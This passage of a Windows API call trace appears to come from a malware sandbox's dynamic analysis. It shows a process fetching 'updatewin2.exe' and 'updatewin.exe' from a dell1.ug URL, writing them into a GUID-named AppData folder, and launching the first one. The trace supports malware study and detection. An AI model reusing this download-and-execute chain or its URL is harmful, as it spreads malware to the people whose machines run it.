Size=0x830) returned 0x32476f0 [0053.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/updatewin2.exe", cchWideChar=-1, lpMultiByteStr=0x32476f0, cbMultiByte=2096, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/updatewin2.exe", lpUsedDefaultChar=0x0) returned 45 [0053.247] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0053.247] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0053.247] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31787b0 | out: hHeap=0x5d0000) returned 1 [0053.247] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://dell1.ug/files/penelop/updatewin2.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0053.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0053.480] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x9b5d6d0, lpdwBufferLength=0x9b5d710, lpdwIndex=0x0 | out: lpBuffer=0x9b5d6d0*, lpdwBufferLength=0x9b5d710*=0x4, lpdwIndex=0x0) returned 1 [0053.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286ad0 [0053.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325e840 [0053.480] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3286ad0 | out: hHeap=0x5d0000) returned 1 [0053.480] lstrcpyA (in: lpString1=0x3177758, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9" [0053.480] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9", pMore="updatewin2.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe") returned 1 [0053.480] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cb20 [0053.480] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e0 [0053.480] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.480] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.550] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.551] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.576] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.577] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.577] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.578] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.639] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.640] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.642] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.642] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.642] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.642] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.643] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.643] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.643] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.644] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.704] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.706] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.706] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.707] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.708] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.708] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.709] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.709] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.709] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.710] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.710] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.731] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.731] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.732] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.732] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.732] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.733] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.769] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.769] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.771] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.771] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.772] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.772] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.779] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.780] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.780] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.781] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.781] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.782] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.797] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.797] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.798] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.798] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.799] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.800] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0053.802] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0053.803] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x1200) returned 1 [0053.805] WriteFile (in: hFile=0x6e0, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x1200, lpOverlapped=0x0) returned 1 [0053.805] CloseHandle (hObject=0x6e0) returned 1 [0053.808] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0053.813] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0053.813] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin2.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0053.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cb20 | out: hHeap=0x5d0000) returned 1 [0053.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e840 | out: hHeap=0x5d0000) returned 1 [0053.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329eb30 | out: hHeap=0x5d0000) returned 1 [0053.849] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0053.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31824e0 [0053.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85e) returned 0x329eb30 [0053.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x31824e0, cbMultiByte=-1, lpWideCharStr=0x329eb30, cchWideChar=1071 | out: lpWideCharStr="http://dell1.ug/files/penelop/updatewin.exe") returned 44 [0053.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x31787b0 [0053.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329eb30 | out: hHeap=0x5d0000) returned 1 [0053.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31824e0 | out: hHeap=0x5d0000) returned 1 [0053.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x329eb30 [0053.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x82f) returned 0x3247f78 [0053.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/updatewin.exe", cchWideChar=-1, lpMultiByteStr=0x3247f78, cbMultiByte=2095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/updatewin.exe", lpUsedDefaultChar=0x0) returned 44 [0053.849] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0053.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0053.849] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329eb30 | out: hHeap=0x5d0000) returned 1 [0053.849] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://dell1.ug/files/penelop/updatewin.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0054.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0054.030] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x9b5d6d0, lpdwBufferLength=0x9b5d710, lpdwIndex=0x0 | out: lpBuffer=0x9b5d6d0*, lpdwBufferLength=0x9b5d710*=0x4, lpdwIndex=0x0) returned 1 [0054.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31824e0 [0054.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eea8 [0054.030] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31824e0 | out: hHeap=0x5d0000) returned 1 [0054.030] lstrcpyA (in: lpString1=0x3177758, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9" [0054.030] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9", pMore="updatewin.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe") returned 1 [0054.030] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cb20 [0054.030] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6dc [0054.032] SetFilePointer (in: hFile=0x6dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0054.032] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.085] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.086] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.140] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.140] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.141] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.141] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.194] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.194] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.196] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.196] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, lpdwNumberOfBytesRead=0x9b5d6d8*=0x2800) returned 1 [0054.197] WriteFile (in: hFile=0x6dc, lpBuffer=0x9b5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9b5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9b5d778*, lpNumberOfBytesWritten=0x9b5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0054.197] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x9b5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9b5d6d8 | out: lpBuffer=0x9b5d778*, 